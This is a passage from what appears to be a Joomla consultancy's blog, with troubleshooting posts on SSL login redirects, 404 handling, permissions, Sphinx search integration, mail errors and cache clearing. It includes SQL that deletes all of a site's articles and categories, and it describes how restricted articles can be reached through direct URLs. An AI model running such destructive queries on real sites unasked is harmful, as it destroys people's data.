So we tried fixing the problem using the guide in our post above, but we were unsuccessful. But then we thought, that website uses SSL in the backend, so what if we disable SSL and try to login again? And so we did: we disabled SSL by editing the configuration.php file (which is located under the root directory of the Joomla website) and changed the line:

public $force_ssl = '1';

to:

public $force_ssl = '0';

We then tried to login and (surprise, surprise) it worked! Aha! So the problem was related to the SSL setting in Joomla’s configuration… Maybe it’s a bug in the version of Joomla used by our client? Or maybe it’s a rogue extension causing this mess? We weren’t sure, but we just didn’t have the time to investigate further since our client was on a very tight budget. So we fixed the problem in a clean way using the power of the .htaccess file… Here’s what we did:

  • We opened the .htaccess file which is located under the root directory of our client’s website.
  • We added the following lines immediately after RewriteEngine On:

    RewriteCond %{HTTPS} !=on
    RewriteRule ^(administrator/.*)$ https://www.ourclientjoomlawebsite.com/$1 [R=301,L]

  • We saved the file and we uploaded it back.

  • That fixed the problem while ensuring that the backend still works in SSL mode!

If you have the same problem, then all you need to do is to disable SSL (by setting the $force_ssl variable to 0 in the configuration.php file) and follow the above guide. That’s it!

If, however, you want to solve it from within Joomla (and know what’s really causing this problem), or if you don’t feel at ease editing the configuration.php and the .htaccess files, then please contact us. We are always eager for new work, we are experts in Joomla, our clients love us, and we don’t charge much!

You Can’t Create a Menu Item Alias Pointing to a Menu Item of Type “External URL”

A new client called us and told us that a newly created menu of his, which is created out of another menu, does not work. He said that none of the links work in the new menu, despite the fact that they work in the other menu.

So we looked into the issue and we immediately found the cause of the problem, each one of the menu items in the new menu was pointing to a menu item of type “External URL”. That’s the cause of the problem!

If you have a menu item of type “External URL”, you can’t create a menu item alias pointing to it (the same way you can’t create a menu item alias pointing to another menu item alias). You will need to create another menu item of type “External URL” and point directly to that URL.

But why can’t Joomla automatically point the menu item alias to the external URL?

The short answer is that it’s a bug in Joomla (and this is explained in details in the above link). The problem though is that if you ever decide to change one of those external URLs, you will have to change it in each menu item pointing to it, and not in just one menu item. We know, this is annoying, and we hope that Joomla will get this sorted out in the future. But for now, your only option is to just duplicate the menu item and assign it to the other menu that you wish to use it in.

If you have the same problem, and if our post above didn’t help solve your problem, then try clearing your Joomla cache. If this is still an issue, then please contact us and we’ll solve the problem for you in no time and for a very, very affordable fee!

The Right Way to Handle 404’s in Joomla

404: it’s probably the most known number in the Internet world, and it means that the page is not found. Ironically, 200, the response code that one will get when the page is found and everything’s OK, is not nearly as known. This, from our psychological perspective, sheds a light on the pessimistic nature of the Internet (half-full vs half-empty glass, or sort of…). But hey, we’re not psychologists, so let’s focus on what we know best: Joomla!

By default, when a page does not exist, Joomla displays a generic page with a red 404 – Not found header. Of course, if you are running a professional website, you need to change this page to something more elegant (e.g. making it use the same template as your website), and Joomla’s official documentation recommends you do so by following the below steps:

  1. Create an article called 404 in Joomla’s Article Manager. This article will contain your custom 404 error message. Note that the article can be called anything, but it’s better to call it 404.
  2. Create a menu item, also called 404 (again, it can be called anything – but calling it 404 makes it clear that this is your 404 menu item), which points to your 404 page. This means that going to http://www.yourjoomlawebsite.com/404.html will display your error page (assuming you have SEF turned on, and you’re using mod_rewrite, and you’re adding the .html suffix to your URLs).

  3. Copy the file error.php from the templates/system folder to the templates/[your-template-name] folder.

  4. Add the following code to the beginning of the copied error.php file (after restricted access):

    if (($this->error->getCode()) == '404') {
    	header('Location: http://www.yourjoomlawebsite.com/404.html');
    	exit;
    }

  5. That’s it!

Now, if you go to a page that doesn’t exist on your website, you will be automatically redirected to your fancy 404 page. We know, this is fascinating, but there is a problem…

You see, the above code redirects your non-existent pages to an existent, 404 page, using a 302 redirect. So, if you’re using Google Webmaster tools, non-existent pages will no longer show up in the Not Found tab on the Crawl Errors page, since you are telling Google (and all other search engines), that any non-existent page is temporarily redirected to your 404 page. This means that you won’t be able to fix all the problematic links to your content because you won’t be able to see them!

So, what is the right way to handle 404’s in Joomla?

The right way to do handle 404’s in Joomla would be to add the below code in the copied error.php file instead of the code above:

if (($this->error->getCode()) == '404') {
	header('HTTP/1.0 404 Not Found');
	$errorPageContent = file_get_contents('http://www.yourjoomlawebsite.com/404.html');
	echo $errorPageContent;
	exit;
}

The above code will not redirect to your 404 page, but instead, it will grab the content from your 404 page after telling Google (and, of course, other search engines) that the page is not found. This way, you will ensure that Google’s Webmaster Tools will still list all your non-found pages even after you change to the dull Joomla default 404 page to your new and improved 404 page!

We hope you found this post useful. If you need help with the implementation, then please contact us. We will do it for you in a heartbeat and for a really, really affordable fee!

“No Input File Specified” Error on Joomla 3.3.6

A client called us around 1:30 AM this morning, and told us that his website went down all of a sudden. We checked the website and here’s the error that we saw:

No Input File Specified

Hmmm…

It was probably the first time that we saw this error and so we started by debugging the index.php file under the root directory of the website, by adding a die(); at the beginning, but our code didn’t execute and we still saw the same error. Usually, there are 4 reasons why an index.php change isn’t reflected on the actual website:

  1. Apache doesn’t have write permissions on the index.php file. We checked the permissions and they were owned by the suPHP user and they were 644. So, nothing was wrong there!
  2. The website is showing a cached version of the index.php file. We added the debug code at the very beginning of the file, so caching shouldn’t be even triggered. We also wiped out the contents of the cache folder just for good measure. Still, the same problem!

  3. We are working on the wrong file. We checked, double checked, and triple checked that it was the correct index.php file. So, we were confident that we were working on the right file.

  4. There is a quirk in the .htaccess file. We renamed the .htaccess file to .htaccess.old and we moved it outside the website’s directory (some environments will use the renamed file unless they can no longer access it). Nothing has changed! The “No Input File Specified” error was still there.

We then re-checked the index.php file, as this problem might happen if there is a space somewhere before the opening <?php tag or after the ending ?> tag, but nothing was there. We even created another index.php and moved the old one elsewhere. This didn’t fix the problem, but it helped us identify the problem: While moving the file outside the public_html directory, we noticed that the directory had the following permissions:

drwxr-x--- 27 755 nobody 4096 Feb 13 1:20 public_html/

Hmmm… This means that the public_html directory had a permission of 0700 (while being owned by the nobody user). This in turn means that Apache can’t even read the index.php file because it just can’t read anything in the parent directory.

In order to solve the problem, we changed the permissions on the public_html directory by issuing the following commands while in the Linux shell:

chmod 755 /home/[user]/public_html
chown -R [user] public_html
chgrp -R [user] public_html

Note: [user] should be your cPanel username for that website (without the brackets).

That fixed the problem!

But what caused the problem?

At first we didn’t know, but then our client revealed to us that it was his host that caused the problem, while trying to solve another problem!

If you have the same problem on your website, then check the permissions on both the index.php file and the public_html directory. The problem most likely lies there. If it isn’t, or if you’re not a big fan of touching the permissions, then please contact us. We will fix the problem for you in no time and for a very, very affordable fee!

How to Quickly Remove All Articles in Joomla

In this day and age, everyone wants more content on their website (after all, content is king), so for many, this post won’t make any sense. But for some, it does. In fact, we had some clients who actually wanted to reset the content of their Joomla website, despite the potential SEO implications (which we communicate to our clients), but, when the client insists against our best judgement, we will eventually oblige and we delete all the articles off his Joomla website. Here’s how we do it:

  • We login to phpMyAdmin (usually from within cPanel), and then we select the database that powers the Joomla website.
  • We run the following queries (by clicking on the SQL tab on the top, pasting the queries, and then clicking on Go):

    DELETE FROM `#__content`;
    DELETE FROM `#__categories` WHERE `type` = 'com_content';
    DELETE FROM `#__assets` WHERE name LIKE 'com_content.category.%' OR name LIKE 'com_content.article.%';

    Note: You must replace #__ in the above queries to the database prefix of your Joomla website which can be found in the configuration.php file (it is the value of the variable $dbprefix).

  • Finally, you should optimize the tables (where you deleted the rows from) by issuing the following queries:

    OPTIMIZE TABLE `#__content`;
    OPTIMIZE TABLE `#__categories`;
    OPTIMIZE TABLE `#__assets`;

  • That’s it!

Again, we recommend you thoroughly think out your decision before deleting all the articles on your Joomla website. If your decision is irreversible and you really want to delete your content, then all you need to do is to execute the above queries. If you need help, then go ahead and contact us. Our work is efficient and professional, we are super dedicated to our customers, and we don’t charge much!

Yet Another Reason for a Blank Page on a Joomla Website

Blank pages on Joomla sites: we thought we have seen them all. But today, we discovered that there might still be a few reasons that we don’t know of that cause blank pages on Joomla sites. Here’s what happened…

A new client called us this morning and told us that he was seeing a blank page on the frontend of his Joomla website. When this happens, we usually set the $error_reporting value in the configuration.php (which is located under the root directory of the Joomla website) to Maximum (usually it’s set to Default or None). When we did that, we saw the following error:

Notice: unserialize() [function.unserialize]: Error at offset 254340 of 254505 bytes in /home/[username]/public_html/libraries/joomla/cache/controller/page.php on line 89

Hmmm… This is a notice, yet it seems to have the effect of a fatal error (we wonder who had the idea of calling such an error as fatal – we’re pretty sure that it’s not fatal, because we’ve seen this error many, many times and it hasn’t killed anyone so far!) because of the blank page. In any case, the word cache in the notice gave us an idea of clearing the cache of the Joomla website. And so we did that by logging in to the backend, and then clicking on System -> Clear Cache, and then selecting all the cached items by clicking on the checkbox next to Cache Group, and then finally clicking on the Delete button on the upper left corner.

Guess what? Clearing the cache fixed the problem!

But what was the problem?

Well, the problem was that the server had some stability issues – and those stability issues caused a cache file not be serialized properly, which meant that Joomla was unable to unserialize the cached file, which meant that Joomla was unable to display the cached information, which resulted in a blank page.

But isn’t that a major stability issue?

In our opinion, Joomla must re-cache the file if the cached file is corrupt (Joomla is able to know that because PHP throws a notice when the cached file is corrupt). Nevertheless, this doesn’t mean that this is a major stability issue. In fact, we have been working on Joomla for nearly a decade and this is (perhaps) the first time that we see this error, since this error happens when Joomla is trying to write the cached file to the filesystem but the operation gets interrupted because of a major stability issue on the server (very rare).

If you see this problem on your Joomla website, then try clearing your Joomla cache and see if it fixes the problem. If it doesn’t, then it might be that there is more to the issue and we recommend that you contact us to resolve the problem. Keep in mind that our super affordable fees apply!

Using Sphinx to Substantially Enhance the Speed of the Joomla Search

Warning: This is an extremely advanced post that requires some serious system administration skills and some serious programming skills. If you feel you’re not up to it, then don’t do it! Ask some Joomla experts (such as, ahem, us!) to do the implementation for you – you’ll save time and your blood pressure will not suffer!

Warning: The implementation in this post requires you to modify a core Joomla file, which means that you will have to ensure that new updates won’t overwrite your modification. If you’re not comfortable with core changes then please contact us and we can develop a new search plugin for you instead of modifying the core plugin.

Note: If you want to rebuild all the Sphinx indexes from scratch, then you will need to stop the searchd listener first using the following command: /usr/local/sphinx/bin/searchd --stop .

Note: Our solution will work. We suggest you don’t deviate from the guide below until everything works for you, and then you can try experimenting with different settings.

Note: While the process below is straightforward and safe, we suggest you take a backup of your whole server before doing anything. Well, at least you should take a backup of your filesystem, your database, and your my.cnf file (this is the MySQL configuration file which is located under the etc folder).

Final note: Every step below is essential for Sphinx to work! You can’t eliminate any steps from our guide and expect that Sphinx works for you. You have been warned!

Let’s face it: Joomla’s search is inefficient – and by inefficient we mean that searches start taking ages once you have over 20k articles on your website. Since we have many clients who are using Joomla and who have a lot of articles on their sites, we have decided to do something about the search! We have decided to use Sphinx…

We first learned about Sphinx a couple of years ago when a large company contacted us and told us that they would like to integrate Sphinx on a mega Joomla website in order to speed up the searches. At that time, our plates were full and we didn’t have time to take on such an endeavor, especially since we have never done it before, so we politely refused (that’s unlike us, but sometimes there is no other option). We were curious nonetheless, and we kept the name Sphinx in the back of our minds!

Fast forward to a couple of weeks ago, when we felt obliged that we had to do something about the search performance (or un-performance, that is) for our major clients’ sites! The searches were just taking too long and causing load issues on the server. It was our duty to do something! And so we thought about giving Sphinx a shot, and boy we were impressed and we never regretted it! Yes – it was a frustrating and downright scary experience, but the end results were astonishing! And since we love sharing and we really want Joomla to become the best CMS ever, we have decided to write a post that will fully explain how we did it!

Are you ready for this super-adventure? Let’s start!

How to install Sphinx on CentOS

Before doing anything, we needed to install the Sphinx search engine on CentOS (CentOS is the underlying OS for mostly all WHM/cPanel powered servers and it is the OS that most of our clients use). Here’s what we did:

  • We logged in to the shell (ssh) as root.
  • We issued the following commands (in order):

    cd /usr/local
    mkdir sphinx
    cd sphinx
    wget http://sphinxsearch.com/files/sphinx-2.2.6-release.tar.gz
    tar -zxf sphinx-2.2.6-release.tar.gz
    cd sphinx-2.2.6-release
    mv * /usr/local/sphinx/
    cd ..
    rm -Rf sphinx-2.2.6-release
    rm -Rf sphinx-2.2.6-release.tar.gz
    ./configure --prefix=/usr/local/sphinx --with-mysql
    make
    make install

  • The above commands installed Sphinx on the server. Note that some of them take a long time to execute, so be patient!

Despite Sphinx being installed on the server (yuppy!), we still couldn’t do anything with it because we needed to configure the Sphinx Index

How to configure the Sphinx index for Joomla’s search

Sphinx is a powerful database engine – but it can’t do much without an index. In this context, an index is a collection of data stored in a specific way for fast retrieval. In the case of a Joomla search, an index consists of a MySQL query that will grab the id, the title, and the introtext and the fulltext (concatenated as text) from the #__content table.

In order to create the index, we needed to first create the Sphinx configuration file. Here’s how we did it:

  • While still logged in to ssh, we issued the following command:

    vi /usr/local/sphinx/etc/sphinx.conf

    The above command will open a new file ready to write using the vi editor (you can use nano, but we’re used to vi – it’s more nerdish).

  • We then clicked on i (yes, the letter i on the keyboard), and then pasted (you can paste in vi, and in linux in general, by just right-clicking) the following code (for your convenience, we have added extensive comments next to each line in order to explain what each line does):

    # source: The source will the a SQL query on the #__content table. The SQL query will be consist of the id, the title, the introtext, and the fulltext.
    # We must specify the connection parameters to the MySQL database, which can be found in the configuration.php file which is located under the root directory of your Joomla website.
    # Note that we are assuming that your MySQL host is localhost (in other words, your MySQL database server resides on the same server as your Joomla website). If this is not the case, then you will need to change localhost and make it point to the right host of your MySQL database server.
    
    source joomla_search_source
    {
    	type		= mysql # Do not change this
    	sql_host	= localhost # You will need to change this if your MySQL server resides on a different server.
    	sql_user	= [your-joomla-db-user] # The username which has at least read access to your MySQL database. No brackets.
    	sql_pass	= [your-joomla-db-password] # The password of the aforementioned username. No brackets.
    	sql_db		= [name-of-your-joomla-database] # The name of your Joomla database. No brackets.
    
    	# Make sure you only include the fields that are being used in your searches - otherwise, you will inflate the size of the index and slow down the searches.
    	# We will just index the id, the title, and a concatenation of the introtext and the fulltext.
    	# Note: You should replace #__ with your table alias, or else the below query (and the index) will not work!
    	sql_query	= SELECT `id`, `title`, CONCAT(`introtext`, `fulltext`) AS `text` FROM #__content WHERE `state`=1
    }
    
    # index: Here we define the parameters of the index created by Sphinx. We will call this joomla_search.
    # If you want to create more indexes then you will need to create another source (like the one above) and another index (like this one) and ensure that the source attribute in the index settings points to the name of the source defined in your source.
    # Note: We initially called the index joomla-search, but everytime we tried to test a query we got the following error: Query failed: unknown local index 'joomla' in search request. It turned out that you cannot have a hyphen (a dash) in the name of the Sphinx index, so we changed it to an underline.
    
    index joomla_search
    {
    	source		= joomla_search_source # Note that the source is the same one specified as the name of the source above.
    	path		= /usr/local/sphinx/var/data/joomlasearch # The indexed data will be stored in this location.
    	min_word_len	= 4 # Sphinx will ignore any words (in the search string) that are less than 4 characters long. You might want to change this to 3 if you have keywords which are 3 characters long. If not, then it's better to leave it as it is as smaller keywords tend to be costly on any search engine.
    }
    
    # indexer: These are the settings of the indexer. Here we just want to increase the memory limit allocated to the indexer, which defaults to a very low value (32 megabytes).
    indexer
    {
    	mem_limit	= 1024M # 1024 megabytes is a comfortable number. If you set mem_limit to a low value then the indexing can take a long a time, if you set it too high then MySQL can timeout.
    }
    
    # searchd: The search engine paramters.
    searchd
    {
    	log		= /usr/local/sphinx/var/log/searchd.log # This is the location of the Sphinx log - logs are always good when something goes wrong.
    	max_children	= 50 # Leave this as 50.
    	pid_file	= /usr/local/sphinx/var/log/searchd.pid # No need to change this at all.
    }

  • We saved the configuration file by typing the following (while still in vi):

    :wq!

Now that we have created the configuration file for the index, we had to build the index…

Building the Sphinx index

The configuration file was ready, so now it was time to build the index. We built it using the following shell command:

/usr/local/sphinx/bin/indexer --config /usr/local/sphinx/etc/sphinx.conf --all

The above command generated the following output:

Sphinx 2.2.6-id64-release (r4843)
Copyright (c) 2001-2014, Andrew Aksyonoff
Copyright (c) 2008-2014, Sphinx Technologies Inc (http://sphinxsearch.com)

using config file ‘/usr/local/sphinx/etc/sphinx.conf’…
indexing index ‘joomla_search’…
WARNING: Attribute count is 0: switching to none docinfo
collected 54142 docs, 154.4 MB
sorted 15.1 Mhits, 100.0% done
total 54142 docs, 154423963 bytes
total 19.459 sec, 7935558 bytes/sec, 2782.25 docs/sec

When we saw the output above, we were rejoiced! It seemed that our configuration file worked and Sphinx was able to index our query! We’re close, very close!

Starting the searchd listener

Now that Sphinx indexed our query, we were ready to start the searchd listener. searchd is a process that will listen on port 9312 for any Sphinx queries and will reply back with results. In order to start searchd, all we needed was to issue the following shell command:

/usr/local/sphinx/bin/searchd

Here’s what we saw when we ran the above command:

Sphinx 2.2.6-id64-release (r4843)
Copyright (c) 2001-2014, Andrew Aksyonoff
Copyright (c) 2008-2014, Sphinx Technologies Inc (http://sphinxsearch.com)

using config file ‘/usr/local/sphinx/etc/sphinx.conf’…
listening on all interfaces, port=9312
listening on all interfaces, port=9306
precaching index ‘joomla_search’
precached 1 index in 0.020 sec

Now we have Sphinx running and listening! Hurray! But, before moving to anything else, we needed to make sure that 1) new data will be indexed every midnight and 2) the listener will run when the server is rebooted.

In order to accomplish that, we did the following:

  • We ran the following command from the shell:

    crontab -e

  • We added the following lines to the end of the cron file:

    0 0 * * * /usr/local/sphinx/bin/indexer --config /usr/local/sphinx/etc/sphinx.conf --rotate joomla_search > /dev/null 2>&1
    @reboot /usr/local/sphinx/bin/searchd

    The first line will rotate the index at midnight (in other words, it will re-index the SQL query), and the second line will ensure that the searchd process runs automatically when the server reboots. Both lines are very important because the first is responsible for keeping the index up-to-date while the second is responsible for ensuring that searches still work when the server is restarted.

  • We saved the cron using CTRL + o, and then exited using CTRL + x.

Now, that we have everything setup, all that we needed to do was to modify the Joomla search plugin to use Sphinx! Here’s how we did it:

  • We opened the file content.php located under the plugins/search/content folder.
  • In the function onContentSearch, we replaced everything above the line $results = array(); with the following code:

    $db = JFactory::getDbo();
    $app = JFactory::getApplication();
    
    require_once JPATH_SITE . '/components/com_content/helpers/route.php';
    require_once JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php';
    
    require('/usr/local/sphinx/api/sphinxapi.php');
    $sp = new SphinxClient();
    $sp->SetServer('localhost', 9312);
    $sp->SetMatchMode(SPH_MATCH_ALL);
    $sp->SetArrayResult(true);
    $sp->SetLimits(0,1000);
    $limit = $this->params->def('search_limit', 50);
    
    
    switch ($ordering)
    {
    	case 'relevant':
    		break;
    	default:
    		$sp->SetSortMode( SPH_SORT_EXTENDED, 'id DESC');
    		break;
    }
    $results = $sp->Query($text, 'joomla_search');
    $results = $results['matches'];
    $list = array();
    for ($i = 0; $i < count($results); $i++){
    	$sql = "SELECT a.title, a.created, CONCAT(`introtext`, `fulltext`) AS `text`, c.title AS `section`,  CONCAT(a.`id`, ':', a.`alias`) AS `slug`,  CONCAT(c.`id`, ':', c.`alias`) AS `catslug` FROM #__content a, #__categories c WHERE a.catid = c.id AND a.id='".$results[$i]['id']."'";
    	$db->setQuery($sql);
    	$list[] = $db->loadObject();
    }
    $rows[] = $list;

  • We uploaded the file back and we tested the search functionality on the website.

  • We were amazed by the speed difference: our search results were returned instantly on a website with more than 50k articles! Wow - just wow! Oh, and what was even better is that we stopped seeing queries in the slow query log and, even better yet, the load dropped significantly!

So, how long did it take us to implement Sphinx for Joomla's search for the first time?

Well, about 6-7 days (because of the many trials and errors)! But we've learned a lot (again, we have never used Sphinx before) and we have documented the whole process so that you, our precious reader, can do it (hopefully) in less time and less hassle!

We hope that you found our guide useful and you were able to successfully integrate Sphinx with Joomla's search by following it. If you're having problems with the installation of Sphinx or with the integration with Joomla's search, or if the whole thing is just a bit over your head, then please contact us. We will do the work for you in no time and for a very affordable fee!

“Could not start mail function” Error when Registering on a Joomla Website

A new client called us this morning and told us that whenever someone tries registering on his website, he gets the following error:

Could not start mail function

The client was frustrated because he contacted two firms before contacting us, and both of these firms weren’t successful in resolving the problem.

So, the first thing that we tried to do was to reproduce the problem, which was easily done… We did notice though that the registration form wasn’t a basic Joomla registration form, but it was an RSForm which was connected to the Joomla’s users table through the RSForm Joomla User Registration Plugin (in other words, when someone fills in the RSForm registration form and submits it successfully, a profile for that person will be created in the users table).

Initially, we thought the problem was related to the server’s environment, and so we started digging in that direction. But we then ruled out this possibility because we were able to send emails to any email account from a PHP script that we created. We then looked at the configuration settings and we noticed that the Mailer was set to PHP Mail, which was what it should be… We then started testing the form more thoroughly, and we noticed that for some reason, some emails did get through and some emails didn’t – but in any case, the form submission took about 15-20 seconds. Hmmm…

We kept working on the issue for a couple of hours until we discovered that the problem was that the registration form was trying to send emails on behalf of emailaddress@aol.com (we thought it was sending emails on behalf of a local email, but we were wrong). As we have explained before, mails can be blocked by the receiving server if the sender IP is not in the SPF records. Clearly, aol.com did not have the IP of our client’s server in their SPF records, and that’s why the mails were failing.

But, why was it that some mails were going through?

Well, it was because some mail servers do not do any SPF check on the sending server; they just allow any email to go through.

Isn’t the error “could not start mail function” a bit misleading?

Yes – it’s very misleading, but the thing is that PHP usually doesn’t wait for a response from the receiving server, but, in some cases (depending on the sending server environment), it does (which is the case for our client, hence the 15-20 seconds it takes to submit the registration form), and so the PHP mail function fails, and so the wrapping Joomla function returns this erroneous error (isn’t that an oxymoron?).

So, what did we do to fix the problem?

  • We logged in to the backend of the Joomla website.
  • We navigated to Components-> RS Form Pro -> [Form Name] -> Properties -> Admin Emails

  • We then changed the From email to admin@ourclientjoomlawebsite.com

  • We saved the form and that fixed the problem!

What if I’m not using RSForm?

Well, if you’re not using RSForm and you’re just using Joomla’s built-in registration form, then make sure that the From Email under the Mail Settings in the Global Configuration settings is set to a local email if you’re using PHP Mail as the Mailer (by local email we mean an email which domain has the IP of your server in its SPF records).

If you have the same problem when people are trying to register on your website then make sure that the IP of your mail server is allowed to send emails on behalf of the domain in the from email. If you are sure that everything’s OK on your end but you are still getting this error, then you can always contact us and we’ll solve the problem for you in no time and for a very, very affordable fee!

“UID of script file.php is smaller than min_uid” Error on a Joomla Website

An international news agency using Joomla to power one of their websites called us yesterday. They told us that they’re seeing a blank page, and the problem turned out to be related to sh404SEF’s cache (the cache file was exhausting all the memory that the system has and throwing this error).

Due to the nature of their environment and their security policies, we weren’t able to work directly on their live system; we worked with a system administrator by phone and that system administrator executed the work on the live site.

In any case, we tried to get some information about their server (mainly related to the PHP’s memory limit), and so we asked the system administrator to create a file called file.php that gets the necessary information (it was mainly getting the memory limit using the ini_get(‘memory_limit’) function). We asked the system administrator to place that file under the root directory of the site.

But, when we accessed the file from our browser (using the following URL: http://www.ourclientjoomlawebsite.com/file.php), we got the following fatal error:

“UID of script “/www/ourclientjoomlawebsite/file.php” is smaller than min_uid”

Huh?

We did a quick research on the error above and it turned out to be related to the file’s ownership. The file was owned by root (because it was created from the shell by the system administrator who was logged in as root), and yet the environment was using suPHP (which cannot directly execute files owned by root). Changing the file’s ownership from root to the Apache user fixed the problem!

If you’re having the same problem with one of the files on your Joomla website, then make sure that file is owned by the same user who owns the rest of the files on your Joomla website. If changing the ownership did not fix the problem for you, then please contact us. We will fix the problem for you for a very affordable fee and in as little time as possible!

What to Do When Your Joomla Website Is Blocked by HP’s Tipping Point

One of our very large clients sent us an email stating that the doctors working at an extremely high profile hospital were unable to access their website (our client’s Joomla website). The email stated that the website was timing out for them.

At first, we thought it was a browser issue (since large companies tend to use the same browser, and it’s often an old version of Internet Explorer with weird patches), but then we ruled it out because the IT director (who communicated directly with us), was also unable to to access the website from a different browser. The staff were able to access the website from their mobile devices (which were using a different network than the hospital’s network), but they weren’t able to access the site from the hospital’s network.

We then asked the IT Director to check with his networking team whether the website was blocked at the firewall level, and the immediate feedback was that the website wasn’t blocked. Perplexed, we started searching for another cause of the problem, and so we checked our client’s logs and we noticed that the doctors were hitting the website, but for some reason, they were getting a 301 redirect and that’s it – the connection ends and the browser stops asking the server for further content. We scavenged through all the security modules that are installed on the server thinking that that network was blocked somewhere, but we were unsuccessful at finding anything.

We then asked for a traceroute, and we were sent one immediately, but, to our disappointment, the IT Director was able to successfully tracert to our client’s website. Hmmm… The IT Director then asked us for a traceroute from our server to theirs, and something interesting happened: the traceroute failed as soon as it reached their network, which means that they’re not accepting traffic from our (client’s) server!

A few minutes later, the IT Director emailed us and told us that they resolved the problem on their end, stating the following reason: “HP has an IPS (Intrusion Prevention System) application named Tipping Point. A reputation database (refreshed from HP’s dvlabs feed) is integrated into that IPS. Your website had a bad rating and that’s why it was blocked. We resolved the problem by locally whitelisting your website.”

He then sent us the following snapshot:

dvlabs Change of Score

Figure 1: dvlabs Change of Score

As you can see from the above picture, the website has been labeled as carrying a “Network Worm” for nearly a month. Clearly, we needed to contact HP’s tipping point about this issue (we were confident that the website was clean). Here’s what we did:

  • We called HP’s Tipping Point Support at +1 866 681 8324 (you can find the global phone numbers here).
  • We supplied the agent with the needed information (our client’s website, the account information of our client’s client) and we asserted that the website was very clean and not hacked.

  • The agent was very courteous and told us that they get a lot of false positives on the dvlabs database, and that the reason why our client’s website was categorized as a “Network Worm” is because they possibly received an abnormal amount of traffic from the website at one point or another. The agent confirmed that he will escalate that the problem to the dvlabs team, and, if the website is proven to be clean, then it will be removed from their blacklist and the change will be reflected once their data feed is refreshed.

  • We thanked the agent who told us to wait for the email. That was back on Friday (January the 2nd).

  • On Tuesday, we received an email from the agent apologizing for the wait, and telling us that the website has been removed from the blacklist.

  • We rejoiced and we informed our client and the IT director of the hospital!

As you can see, it is not that hard to remove a website from HP’s Tipping Point blaklist (e.g. the dvlabs database) – it just needs a bit of patience. It is also not a bad experience (we were very surprised with HP’s pro-activeness, professionalism, and friendliness towards this whole issue).

If some of your clients cannot see your website because it has been blacklisted by HP, then make sure it is clean, and then contact them (they do answer the phone immediately). If you need help in the process, then please contact us. We have done it before (and it did work), we are resilient, we work hard, and we don’t charge much!

A Menu Item with “Registered” Access Doesn’t Mean that the Article Is Private

One of Joomla’s biggest misconceptions is that if someone wants to make an article private (e.g. only allow access to that article for registered users), then all that needs to be done is to point a menu item to that article and change the Access value of that menu item to Registered and that’s it! Now the article is private and only registered users will be able to access it – of course, the proof is that the link to that article, which is http://www.[joomla-website].com/my-article.php will only work for registered users.

But… Assuming the article’s ID is 123, then that same article can be accessed using the following link: http://www.[joomla-website].com/index.php?option=com_content&view=article&id=123, and this link can be accessed by anyone, and by anyone we literally mean anyone – even a person who’s not even registered to the website!

How is that? Well, because this is a direct link that doesn’t have the Itemid of the menu item that only allows access for registered users. In fact, it doesn’t have any Itemid (an Itemid is the equivalent of a menu item ID).

So, what is the solution if one wants to make an article private?

Well, the only solution is to get all the Itemids (yes, it has an s because it’s plural since an article can have more than one menu item pointing to it), and then check if any Itemid is set to have a Registered access, and if that’s the case, then the code should check whether the person is logged in or not, if not, then the person should be redirected to the 404 page. If the person is logged in, then he should see the page.

So, where should this solution be implemented?

The solution can be implemented in either a System plugin or through a core modification. Naturally, we recommend the former option since it’s better, more reliable, and future-proof (e.g. update-proof).

If you’re trying to make your articles really private (e.g. only allow access to your articles for registered users), and if you need help in making it possible, then please contact us. We can do the work for you in no time and for a very affordable fee!

Joomla’s Cache Is Deleted on Article Update: How to Fix

Note: This is an extremely advanced post that requires some serious knowledge with Joomla as well as more than average programming skills. If you feel that it’s a bit over your head then you should ask some Joomla experts to do it for you (like, ahem, us) since caching is a very delicate feature in Joomla.

A client of ours were (or should it be “was” instead of “were” despite the fact that we’re talking about a company? English grammar can be very tricky!) encountering very high load issues on their server only during working hours. They were using Joomla’s core (and not K2) for content management. After a very long investigation of the issue (at first we thought the whole issue was related to an unoptimized assets table, but we quickly ruled this out out as the assets table is not updated on article update), we narrowed down the problem to one word: caching – or lack of caching thereof.

Let us explain… They were using Conservative Caching on their website, and during working hours, their editors were frequently creating/updating articles on the website, and every time they created/updated an article the whole cache was cleared!

But why was the cache cleared?

That is the million dollar question, and the million dollar answer is that the method cleanCache in the ContentModelArticle class (which is defined in the file article.php file located under the administrator/components/com_content/models folder) is called when an article is inserted or updated. Here’s the function, in case you’re wondering how it looks like:

protected function cleanCache($group = null, $client_id = 0)
{
	parent::cleanCache('com_content');
	parent::cleanCache('mod_articles_archive');
	parent::cleanCache('mod_articles_categories');
	parent::cleanCache('mod_articles_category');
	parent::cleanCache('mod_articles_latest');
	parent::cleanCache('mod_articles_news');
	parent::cleanCache('mod_articles_popular');
}

As you can see, the function deletes all the content cache (the cache generated by the main content component and all the content modules). This function is invoked on every update and every insert. Obviously, on a large site relying on caching to sustain performance, that function can cause some serious load issues on the server that can potentially crash the site.

But why does the function clear all the content cache?

We have no idea. We think that this code is there because it was the easiest way to make sure that the site displays the most up-to-date content with as little code (and work [wink wink]) as possible. Unfortunately, the easiest way is far from being the optimal way. The optimal way consists of only deleting that cache pertinent to the updated article (and not the whole cache). We really wonder why nobody has ever complained about this before, since what this function does is not acceptable for any large Joomla website.

So how did we solve the problem?

Solving this problem was hard – like really really hard! We modified the function cleanCache to only delete the cache of the homepage, the updated article, and all the category blog pages for the category that this particular article belongs to. In the process of modifying the function, we created an auxiliary method called myMakeID that returns the ID of the cache to be deleted (the myMakeID method is a variation of the makeId static method on the JCache class which is defined in the cache.php file which is located under the libraries/joomla/cache folder). Here is the updated cleanCache method, as well as the auxiliary myMakeID method:

protected function cleanCache($group = null, $client_id = 0)
{
	//let's first get the Item ID of the category (which should be always in the POST)
	$catId = (int)$_POST['jform']['catid'];
	
	if (isset($_GET['id']))
		$id = (int)$_GET['id'];
	else
		$id = 0;
	
	$db = JFactory::getDbo();
	
	//now let's get the Item ID for that category
	$sql = "SELECT id FROM #__menu WHERE `link` ='index.php?option=com_content&view=category&layout=blog&id=".$catId."'";
	$db->setQuery($sql);
	$itemId = $db->loadResult();
	
	//now let's get the Item ID for the homepage
	$sql = "SELECT id FROM #__menu WHERE `home` =1";
	$db->setQuery($sql);
	$homeItemId = $db->loadResult();
	
	
	$conf         = JFactory::getConfig();
        $platformDirs = FOFPlatform::getInstance()->getPlatformBaseDirs();

	$options = array(
		'defaultgroup' => ($group) ? $group : (isset($this->option) ? $this->option : JFactory::getApplication()->input->get('option')),
